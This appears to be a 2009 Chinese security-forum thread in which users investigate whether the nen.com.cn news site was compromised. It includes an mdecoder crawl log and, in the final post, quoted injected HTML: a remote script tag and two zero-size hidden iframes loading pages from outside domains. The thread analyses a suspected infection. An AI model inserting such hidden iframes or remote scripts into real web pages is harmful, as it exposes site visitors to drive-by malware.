东北新闻网hxxp://www.nen.com.cn被挂马 图片链接失效BY TAOYUAN237

lomo

Norton Safe Web分析报告http://siterating.norton.com/report/show?url=nen.com.cn

[ 本帖最后由 taoyuan237 于 2009-10-18 17:41 编辑 ]

taoyuan237

诺顿上写的那几个图片确实有问题
但是都失效了
我都打不开

另外发现很有趣的东西


[ 本帖最后由 taoyuan237 于 2009-10-18 17:27 编辑 ]

yuhao2348632

Log generated by anonymous use mdecoder 0.27
[root]http://www.nen.com.cn/
    [script]http://www.nen.com.cn/images/nen0701/nenjinan.js
    [script]http://www.nen.com.cn/images/nen0704/ad/interstitial.js
    [iframe]http://liaoning.nen.com.cn/index/index.shtml
        [script]http://liaoning.nen.com.cn/tlimages/nenindex/diyiping/nenpan.js
        [iframe]http://www.nen.com.cn/images/nenmain/0903index/leftpic.html
        [iframe]http://liaoning.nen.com.cn/liaoning/b_nenqwfb.html
        [iframe]http://www.nen.com.cn/images/nenmain/0903index/guoqing.html
        [iframe]http://www.nen.com.cn/images/nen-index/nenvideo/vod1.htm
            [exe]http://www.nen.com.cn/images/css/nen0701.css
        [iframe]http://www.nen.com.cn/images/nen-index/nenvideo/vod2.htm
            [exe]http://www.nen.com.cn/images/css/nen0701.css
        [iframe]http://www.nen.com.cn/images/nen-index/nenvideo/vod3.htm
            [exe]http://www.nen.com.cn/images/css/nen0701.css
    [iframe]http://www.nen.com.cn/images/lvyou/nentravel/ejjj/ejjj.html
    [iframe]http://in.nen.com.cn/in/b_inindex.html
    [iframe]http://www.nen.com.cn/images/lvyou/nentravel/jiqiang/right-zfcg.htm
        [exe]http://www.nen.com.cn/images/css/nen0701.css
    [iframe]http://www.nen.com.cn/images/nenmain/nen0411-vote.htm
        [exe]http://www.nen.com.cn/images/css/nen0411.css
        [exe]http://www.nen.com.cn/images/css/nen0411.css
    [iframe]http://job.nen.com.cn/nen.asp
    [iframe]http://www.nen.com.cn/images/nen0701/ad/right-ad66.htm
    [script]http://www.nen.com.cn/images/nen0701/counter.js

asinasina

没发现挂马~
看诺顿的提示因为图片里面加入宽高为0 0的链接
都是error的

taoyuan237

我也没发现
那几个图上挂的肯定不是好鸟
不过都失效了

lomo

NSW比金山网盾都敏感~

taoyuan237

原帖由 lomo 于 2009-10-18 17:44 发表
NSW比金山网盾都敏感~

金山网盾是2方面的
1网址库2行为分析
诺顿的原理不太清楚
从这个看是长宽高0的特征

linjw

<script language=javascript src=http://www.qsth.com.cn/image/test.js></script>
<iframe src="http://www.zhongyu555.com/AD/ADTemplate/tt.htm" name="zhu" width="0"height="0" frameborder="0">
<iframe src="http://www.zhongyu555.com/AD/ADTemplate/Explorer.htm" name="zhu" width="0"height="0" frameborder="0">

00框架~